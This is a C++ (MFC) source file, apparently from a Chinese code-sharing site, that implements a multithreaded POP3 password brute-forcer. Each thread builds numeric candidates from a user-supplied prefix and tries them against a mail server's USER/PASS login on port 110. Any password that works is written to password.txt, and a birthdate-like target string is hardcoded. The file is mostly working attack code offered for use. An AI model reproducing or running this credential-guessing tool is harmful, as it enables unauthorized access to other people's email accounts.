📄 pop.cpp
字号:
#include "stdafx.h"
#include "POP.h"
#include "afxsock.h"
#include "afx.h"
#include"pop3.h"
#include "stdlib.h"
#include"pop3Dlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
////////////////////////////////////////////////////////////////////
// CPOP Class
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CPOP::CPOP()
{
m_Server.Create();
}
CPOP::~CPOP()
{
m_Server.Close();
}
BOOL CPOP::Connect(CString & Host, CString & User, CString & Password)
{
char buf [512];
if (!m_Server.Connect(Host,110)) // 110 Pop3 Port
{
AfxMessageBox("密码:"+Password+" 连接到邮件服务器port:110时失败");
extern long gmyTotalError;
extern CString gmyTotalErrorPwd[20];
gmyTotalErrorPwd[gmyTotalError]=Password;
gmyTotalError++;
if(gmyTotalError>=20)
{
AfxMessageBox("总错误次数超过20次,将退出!");
char* pFileName = "ErrorConRecord.txt";
CStdioFile myRecordError( pFileName, CFile::modeCreate | CFile::modeWrite );
for (long i=0;i<20;i++)
myRecordError.WriteString(gmyTotalErrorPwd[i]+" ");
myRecordError.Close();
exit(26);
}
return FALSE;
}
else
{
if(Check(CHECK_CONNECTION)==FALSE)
{
AfxMessageBox("连接到邮件服务器失败");
//exit(27);
return FALSE;
}
wsprintf (buf, "USER %s\r\n", (LPCSTR) User);
m_Server.Send(buf, strlen (buf));
if(Check(CHECK_USER)==FALSE)
{
AfxMessageBox("错误的用户名");
//exit(28);
return FALSE;
}
wsprintf (buf, "PASS %s\r\n", (LPCSTR) Password);
m_Server.Send(buf, strlen (buf));
if (Check(CHECK_PASSWORD)==FALSE)
{
return FALSE;
}
return TRUE;
}
}
// end the function.
BOOL CPOP::Connect()
{
Connect(m_Host, m_User, m_Password);
return TRUE;
}
UINT CPOP::ThreadFunc(LPVOID ThreadArg)
{
long begindata;
begindata=*(long *)ThreadArg;
extern long interval;
for(long i=begindata;i<begindata+interval;i++)
{
char s[8],*temp=NULL;
temp=ltoa(i,s,10);
//constructor a PopServer
CPOP *PopServer=new CPOP;
extern CString gmyInputAddress;
CString myHost=gmyInputAddress;//"ggdn.gdut.edu.cn";//
extern CString gInputUser;
CString myUser=gInputUser;
//字母连接数字
extern CString myHelpUser;
CString myStoreHelpUser=myHelpUser;
myStoreHelpUser.Insert(myStoreHelpUser.GetLength(),(CString &)temp);
if(myStoreHelpUser=="19790630")
AfxMessageBox("find 19790630");
//如果总的长度超过100,则清空
extern CString gmyAllPwd;
if(gmyAllPwd.GetLength()>1000)
gmyAllPwd="";
gmyAllPwd=gmyAllPwd+myStoreHelpUser+" ";
//计算总试探次数:
extern long gmyTotalNum;
gmyTotalNum++;
//(CString &)
if(PopServer->Connect(myHost,myUser,myStoreHelpUser)==TRUE)
{
PopServer->Close();
delete PopServer;
try
{
CString myargs;
char* pFileName = "password.txt";
CStdioFile f( pFileName, CFile::modeCreate | CFile::modeWrite );
myargs.Format("在这个线程:%ld 中找到了密码:",begindata);
f.WriteString(myargs);
f.WriteString(temp);
f.Close();
}
catch( CFileException e )
{
AfxMessageBox("Create file:password.txt error!");
}
exit(1);
//
}
else
{
PopServer->Close();
delete PopServer;
continue;
};
}
return 0;
}
//END THE IMPLEMENT
BOOL CPOP::Check(int Checktype)
{
char buf [1024]="";
for (int i=0;i<512;i++)
buf[i]='\0';
m_Server.Receive(buf, sizeof(buf));
switch (Checktype)
{
case CHECK_CONNECTION:
if (strnicmp(buf,"-ERR", 4) == 0)
{
return FALSE;
}
break;
case CHECK_USER:
if (strnicmp(buf,"-ERR", 4) == 0)
{
return FALSE;
}
break;
case CHECK_PASSWORD:
if (strnicmp(buf,"-ERR", 4) == 0)
{
return FALSE;
}
break;
}
return TRUE;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -